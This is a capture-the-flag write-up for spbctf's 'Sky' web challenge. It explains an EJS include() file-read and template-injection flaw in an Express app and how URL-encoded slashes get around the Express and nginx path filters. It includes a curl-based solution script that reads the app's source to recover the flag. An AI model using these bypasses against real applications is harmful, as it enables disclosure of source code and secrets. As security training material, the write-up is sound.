Sky
Sky
Platform: spbctf | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-06-26 | Status: Solved Techniques: ejs_include_lfi, extension_aware_path_filter_bypass, source_code_disclosure, url_encoded_slash_bypass
Summary
Task: Express.js + EJS 2.7.2 app passes req.params.page straight into EJS include(), an LFI+SSTI sink. Solution: URL-encode slashes (%2f) to bypass Express route and nginx ..%2f filtering, read absolute app source app.js (which already has an extension to dodge EJS's .ejs auto-append), and recover the hardcoded flag.
Sky — spbctf
Description
Look at the sky: include.ssti.2537ly.space
An Express.js site (EJS 2.7.2 behind nginx 1.31.0) lists two pages, sky and clouds, at
/page/sky and /page/clouds. The goal is to recover the flag from the application.
Analysis
The vulnerable view /usr/src/app/views/page.ejs (line 12) renders:
ejs read-only • copy allowed<pre><%- include(page) %></pre>
where page is taken directly from req.params.page in /usr/src/app/app.js:
js read-only • copy allowedapp.get("/page/:page", (req, res) => { if (req.params.page !== "page") res.render("page", { page: req.params.page }); else res.send("nope"); });
The user fully controls the path passed to EJS include(). EJS include() resolves the path
and parses/compiles/renders the included file as an EJS template — confirmed by including
home.ejs (pages is not defined) and ejs.js (Could not find matching close tag for <%=).
This is both LFI and SSTI: included content is executed as a template.
LFI primitive and bypasses
- The Express route
/page/:pagerejects literal extra slashes (Cannot GET /page//...). - nginx returns
400on raw..%2ftraversal sequences. - But URL-encoding the slashes (
%2f) inside the single:pagesegment works, letting EJS resolve an absolute filesystem path. - EJS 2.7.2
resolveIncludeappends.ejsonly whenpath.extname(name)is empty. So files that already have an extension (.js,.json) are read verbatim, while extension-less targets (/etc/passwd,/proc/self/environ) get.ejsappended and fail.
A verbose EJS error leaks the absolute app root:
bash read-only • copy allowedcurl -sk "https://include.ssti.2537ly.space/page/doesnotexist123" # -> /usr/src/app/views/page.ejs:12 , include(page) line, EJS stack, node_modules path
Solution
bash read-only • copy allowed#!/usr/bin/env bash URL="https://include.ssti.2537ly.space" decode() { curl -sk "$1" | python3 -c "import sys,html,re;d=sys.stdin.read();m=re.search(r'<pre>(.*?)</pre>',d,re.S);print(html.unescape(m.group(1)) if m else d)" } # 1. Leak app root via verbose EJS error curl -sk "$URL/page/doesnotexist123" # 2. Confirm EJS version (file already has .json extension -> no .ejs append) curl -sk "$URL/page/%2fusr%2fsrc%2fapp%2fnode_modules%2fejs%2fpackage.json" # -> 2.7.2 # 3. Read application source via the LFI; flag is hardcoded here decode "$URL/page/%2fusr%2fsrc%2fapp%2fapp.js" # -> const FLAG = process.env.FLAG || "spbctf{REDACTED}";
The FLAG variable is dead code — never used in any route — confirming the intended path is
source-code disclosure via the LFI, not runtime RCE.
Why full RCE was unnecessary
Reading process.env.FLAG at runtime would require an attacker-controlled file containing
<%= process.env.FLAG %> with a non-.ejs extension to bypass the auto-append. No upload,
writable .ejs, or log file existed (pino logs go to stdout). The flag was simply the hardcoded
default value in the source, recovered through the LFI source read.